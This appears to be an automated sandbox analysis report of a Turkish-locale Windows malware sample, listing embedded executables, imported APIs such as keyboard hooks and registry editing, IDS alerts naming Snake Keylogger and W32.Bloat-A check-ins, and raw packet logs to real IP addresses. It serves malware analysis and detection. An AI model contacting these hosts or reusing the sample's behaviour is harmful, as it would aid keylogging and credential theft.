RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0x15640	PE32 executable (GUI) Intel 80386, for MS Windows			0.40609021183345506
RT_RCDATA	0xce454	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0xce458	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0xd2058	0x64c	data			0.5998759305210918
RT_RCDATA	0xd26a4	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0xd27f8	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0xd6fcc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xd6fe0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xd6ff4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xd7008	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xd701c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xd7030	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xd7044	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0xd7058	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0xd706c	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T00:15:02.991956+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49733	142.250.181.14	443	TCP
2024-12-06T00:15:02.996945+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49734	142.250.181.14	443	TCP
2024-12-06T00:15:04.638460+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.4	49739	69.42.215.252	80	TCP
2024-12-06T00:15:05.609867+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49742	142.250.181.14	443	TCP
2024-12-06T00:15:05.624863+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49743	142.250.181.14	443	TCP
2024-12-06T00:15:09.057040+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49754	142.250.181.14	443	TCP
2024-12-06T00:15:09.091541+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49755	142.250.181.14	443	TCP
2024-12-06T00:15:12.937740+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49767	142.250.181.14	443	TCP
2024-12-06T00:15:13.032228+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49766	142.250.181.14	443	TCP
2024-12-06T00:15:15.539673+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49774	142.250.181.14	443	TCP
2024-12-06T00:15:15.772882+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49777	142.250.181.14	443	TCP
2024-12-06T00:15:18.660655+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49786	142.250.181.14	443	TCP
2024-12-06T00:15:18.667663+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49787	142.250.181.14	443	TCP
2024-12-06T00:15:21.359111+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49791	142.250.181.14	443	TCP
2024-12-06T00:15:21.416898+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49792	142.250.181.14	443	TCP
2024-12-06T00:15:24.367460+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49802	142.250.181.14	443	TCP
2024-12-06T00:15:24.382482+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49803	142.250.181.14	443	TCP
2024-12-06T00:15:28.386387+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49813	142.250.181.14	443	TCP
2024-12-06T00:15:28.392456+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49812	142.250.181.14	443	TCP
2024-12-06T00:15:31.099941+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49817	142.250.181.14	443	TCP
2024-12-06T00:15:31.104364+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49820	142.250.181.14	443	TCP
2024-12-06T00:15:34.080714+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49827	142.250.181.14	443	TCP
2024-12-06T00:15:34.098403+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49828	142.250.181.14	443	TCP
2024-12-06T00:15:38.067907+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49837	142.250.181.14	443	TCP
2024-12-06T00:15:38.174047+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49838	142.250.181.14	443	TCP
2024-12-06T00:15:42.082645+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49847	142.250.181.14	443	TCP
2024-12-06T00:15:42.084699+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49846	142.250.181.14	443	TCP
2024-12-06T00:15:44.677085+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49850	142.250.181.14	443	TCP
2024-12-06T00:15:44.801416+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49851	142.250.181.14	443	TCP
2024-12-06T00:15:47.809113+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49861	142.250.181.14	443	TCP
2024-12-06T00:15:47.827987+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49862	142.250.181.14	443	TCP
2024-12-06T00:15:51.973037+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49872	142.250.181.14	443	TCP
2024-12-06T00:15:51.983138+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49871	142.250.181.14	443	TCP
2024-12-06T00:15:54.581458+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49876	142.250.181.14	443	TCP
2024-12-06T00:15:54.681706+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49878	142.250.181.14	443	TCP
2024-12-06T00:16:05.480384+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49922	13.107.246.63	443	TCP
2024-12-06T00:16:12.988474+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49967	13.107.246.63	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 00:15:00.124665976 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:00.124703884 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:00.124793053 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:00.125524998 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:00.125570059 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:00.125627995 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:00.132925987 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:00.132939100 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:00.133034945 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:00.133054972 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:01.892237902 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:01.892313004 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:01.893249989 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:01.893299103 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.076235056 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.076332092 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.076879978 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.076936960 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.241364956 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.241388083 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.241729975 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.241786003 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.261218071 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.261670113 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.261699915 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.261996984 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.262046099 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.278177023 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.307321072 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.319334030 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.320959091 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:15:02.437060118 CET	80	49739	69.42.215.252	192.168.2.4
Dec 6, 2024 00:15:02.437131882 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:15:02.469490051 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:15:02.587371111 CET	80	49739	69.42.215.252	192.168.2.4
Dec 6, 2024 00:15:02.991969109 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.992041111 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.992063999 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.992168903 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.992257118 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.992291927 CET	443	49733	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.992376089 CET	49733	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.992813110 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.992845058 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.992918015 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.994364977 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.994380951 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.996947050 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.997008085 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.997033119 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.997078896 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.997426033 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.997453928 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.997570992 CET	443	49734	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.997581959 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.997617006 CET	49734	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.998034000 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.998066902 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:02.998126030 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.998378038 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:02.998389006 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:03.137801886 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:03.137834072 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:03.137886047 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:03.138098001 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:03.138128996 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:03.138171911 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:03.138376951 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:03.138387918 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:03.138747931 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:03.138758898 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:04.638396978 CET	80	49739	69.42.215.252	192.168.2.4
Dec 6, 2024 00:15:04.638459921 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:15:04.705746889 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.705838919 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.706151009 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.706223965 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.706397057 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.706459999 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.706789017 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.706845045 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.741914988 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.741945982 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.742260933 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.742322922 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.742662907 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.744798899 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.744817972 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.745141983 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.745202065 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.745549917 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:04.787334919 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.787345886 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:04.833395004 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:04.833515882 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:04.835279942 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:04.835355997 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:04.907145977 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:04.907167912 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:04.907435894 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:04.909095049 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:04.948234081 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:04.948350906 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:04.948367119 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:04.948613882 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:04.948668003 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:04.952445984 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:04.995332956 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:04.995333910 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:05.609868050 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.609932899 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.609951973 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.609998941 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.610050917 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.610089064 CET	443	49742	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.610146046 CET	49742	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.610630035 CET	49749	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.610657930 CET	443	49749	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.610831976 CET	49749	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.611140966 CET	49749	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.611151934 CET	443	49749	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.624856949 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.624912977 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.624932051 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.624973059 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.625027895 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.625060081 CET	443	49743	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.625185966 CET	49743	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.625412941 CET	49750	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.625433922 CET	443	49750	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.625509024 CET	49750	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.625713110 CET	49750	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:05.625722885 CET	443	49750	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:05.765222073 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:05.765278101 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:05.765280008 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.765289068 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:05.765319109 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.765326977 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.765343904 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:05.765379906 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.765387058 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:05.765409946 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:05.765427113 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.765460968 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.772686958 CET	49744	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.772696972 CET	443	49744	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:05.773705006 CET	49751	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.773732901 CET	443	49751	142.250.181.33	192.168.2.4
